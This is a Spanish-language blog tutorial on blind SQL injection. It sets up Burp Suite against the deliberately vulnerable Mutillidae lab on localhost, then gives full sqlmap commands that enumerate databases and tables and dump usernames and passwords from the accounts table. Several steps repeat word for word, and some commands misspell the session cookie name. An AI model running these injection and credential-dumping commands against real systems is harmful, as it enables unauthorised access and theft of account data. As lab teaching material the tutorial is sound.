Caracteristicas de Blind SQLi
- No se muestran mensajes de error aunque el resultado no sea el esperado al realizar la consulta a la BBDD
- El tiempo de explotación es alto si se realiza manualmente ya que se deben ir probando inyecciones carácter a carácter
- Si la consulta no se ejecuta de forma correcta muestra una página genérica del error
Por lo tanto debemos ir formulando pregunta lógicas para obtener respuestas booleanas, obteniendo así la respuesta de manera acumulativa, por ejemplo:
https://securitybydrunk.blogspot.com/user=1 & 1=1 ==> TRUE
Se carga la página de manera normal con información del usuario
https://securitybydrunk.blogspot.com/user=1 & 1=0 ==> FALSE
No se carga correctamente faltando datos como imágenes o enlaces, etc
Si esto ocurre podemos llegar a la conclusión de que es vulnerable a Blind SQLi
- Basándose en el contenido: dependiendo de lo que se muestre al usuario por la wapp
- Basándose en el tiempo de respuesta: teniendo en cuenta el tiempo, por ejemplo:
- 3 segundos si es correcta la petición
- 6 si es incorrecta
Esta forma hace que sea difícil determinar donde esta el origen del fallo (nivel de la wapp, el servidor o de la bbdd) por lo que vamos a automatizar nuestro ataque
![]() |
| Imagen del proxy de BurpSuite |
2. Accedemos a http://localhost/mutillidae-master/ y vamos a OWASP 2017 > A1 -Injection (SQL) > Blind SQL via Timing > Login por lo que la prueba se basará en el tiempo de respuesta
![]() |
| localhost/mutillidae/ |
3. En la página de login utilizamos un usuario y password correcto como por ejemplo test/test (lo he creado anteriormente)
4. Una vez logueado el usuario volvemos hacia atrás
5. Vemos la siguiente página y hacemos logout
6. Ahora haremos la prueba de que pasa cuando fallamos la autenticación, introducimos un usuario incorrecto, nos indica que la cuenta no existe
7. Volvemos a BURP y buscamos la petición POST que hemos realizado con el login correcto
!! Copiamos esta parte
8. Es hora de empezar con sqlmap , abrimos una terminal y pegamos el contenido anterior mas la cookie indicando método y data
$ sqlmap -u "http://localhost/mutillidae-master/index.php?page=login.php" --method POST --data "username=test&password=test&login-php-submit-button=Login" --cookie="showhints=1; PHPSESSID=1661cc35c56229054f46c2933e726c95"
Al ejecutar nos hace una serie de preguntas relacionadas con la petición POST y con la detección de la bbdd MySQL con lo que ahorraremos tiempo así que contestamos que si a todas
$ sqlmap -u "http://localhost/mutillidae-master/index.php?page=login.php" --method POST --data "username=test&password=test&login-php-submit-button=Login" --cookie="showhints=1; PHPSESSID=1661cc35c56229054f46c2933e726c95"
Al ejecutar nos hace una serie de preguntas relacionadas con la petición POST y con la detección de la bbdd MySQL con lo que ahorraremos tiempo así que contestamos que si a todas
En la ejecución nos va indicando las vulnerabilidades que encuentra, en este punto nos informa de que el parámetro de POST username es vulnerable y de si queremos continuar, contestamos que si
![]() |
| Contestamos que si (y) |
Esta información ya nos vale para demostrar que la página es vulnerable, esperamos a que termine y ver el resumen.
Decimos que no al resto a que siga intentando hacer las pruebas sobre el resto y vemos el informe.
Para el parámetro username tenemos:
Decimos que no al resto a que siga intentando hacer las pruebas sobre el resto y vemos el informe.
Para el parámetro username tenemos:
- Blind SQLi basado en booleano
- SQLi basado en booleano
- SQLi basado en tiempo
Para el parámetro password ha encontrado lo mismo, si nos fijamos podemos ver el payload utilizado
En la última linea nos informa de que hay múltiples inyecciones, escogemos la opción 0 y nos muestra las versiones, vemos que es un PHP 7.3.0 y un Apache 2.4.37 con MySQL 5.0
9. Volvemos a lanzar sqlmap con el mismo parámetro pero añadiendo al final --dbs para sacar información sobre la bbdd
$ sqlmap -u "http://localhost/mutillidae-master/index.php?page=login.php" --method POST --data "username=test&password=test&login-php-submit-button=Login" --cookie="showhints=1; HPSESSID=1661cc35c56229054f46c2933e726c95" --dbs
Nos vuelve a mostrar toda la información pero esta vez vemos las bbdd que existentes
10. Conocidas las BBDD que existen vamos a lanzar sobre la que nos interesa otra inyección para que nos muestre la información de las tablas, añadimos -D mutillidae --tables
$ sqlmap -u "http://localhost/mutillidae-master/index.php?page=login.php" --method POST --data "username=test&password=test&login-php-submit-button=Login" --cookie="showhints=1; HPSESSID=1661cc35c56229054f46c2933e726c95" -D mutillidae --tables
En la imagen vemos que nos muestra las tablas
11. Inyectamos para conocer las columnas de la tabla accounts añadimos -T accounts --column
$ sqlmap -u "http://localhost/mutillidae-master/index.php?page=login.php" --method POST --data "username=test&password=test&login-php-submit-button=Login" --cookie="showhints=1; PHPSESSID=1661cc35c56229054f46c2933e726c95" -T accounts --column
12. Tenemos la columnas que nos interesan (username/password) añadimos -C user,password --dump
$ sqlmap -u "http://localhost/mutillidae-master/index.php?page=login.php" --method POST --data "username=test&password=test&login-php-submit-button=Login" --cookie="showhints=1; PHPSESSID=1661cc35c56229054f46c2933e726c95" -T accounts -C user,password --dump
Aquí tenemos el resultado, podemos ver el usuario test creado anteriormente por mi
En la última linea nos informa de que hay múltiples inyecciones, escogemos la opción 0 y nos muestra las versiones, vemos que es un PHP 7.3.0 y un Apache 2.4.37 con MySQL 5.0
9. Volvemos a lanzar sqlmap con el mismo parámetro pero añadiendo al final --dbs para sacar información sobre la bbdd
$ sqlmap -u "http://localhost/mutillidae-master/index.php?page=login.php" --method POST --data "username=test&password=test&login-php-submit-button=Login" --cookie="showhints=1; HPSESSID=1661cc35c56229054f46c2933e726c95" --dbs
Nos vuelve a mostrar toda la información pero esta vez vemos las bbdd que existentes
10. Conocidas las BBDD que existen vamos a lanzar sobre la que nos interesa otra inyección para que nos muestre la información de las tablas, añadimos -D mutillidae --tables
$ sqlmap -u "http://localhost/mutillidae-master/index.php?page=login.php" --method POST --data "username=test&password=test&login-php-submit-button=Login" --cookie="showhints=1; HPSESSID=1661cc35c56229054f46c2933e726c95" -D mutillidae --tables
En la imagen vemos que nos muestra las tablas
11. Inyectamos para conocer las columnas de la tabla accounts añadimos -T accounts --column
$ sqlmap -u "http://localhost/mutillidae-master/index.php?page=login.php" --method POST --data "username=test&password=test&login-php-submit-button=Login" --cookie="showhints=1; PHPSESSID=1661cc35c56229054f46c2933e726c95" -T accounts --column
12. Tenemos la columnas que nos interesan (username/password) añadimos -C user,password --dump
$ sqlmap -u "http://localhost/mutillidae-master/index.php?page=login.php" --method POST --data "username=test&password=test&login-php-submit-button=Login" --cookie="showhints=1; PHPSESSID=1661cc35c56229054f46c2933e726c95" -T accounts -C user,password --dump
Aquí tenemos el resultado, podemos ver el usuario test creado anteriormente por mi



















No hay comentarios:
Publicar un comentario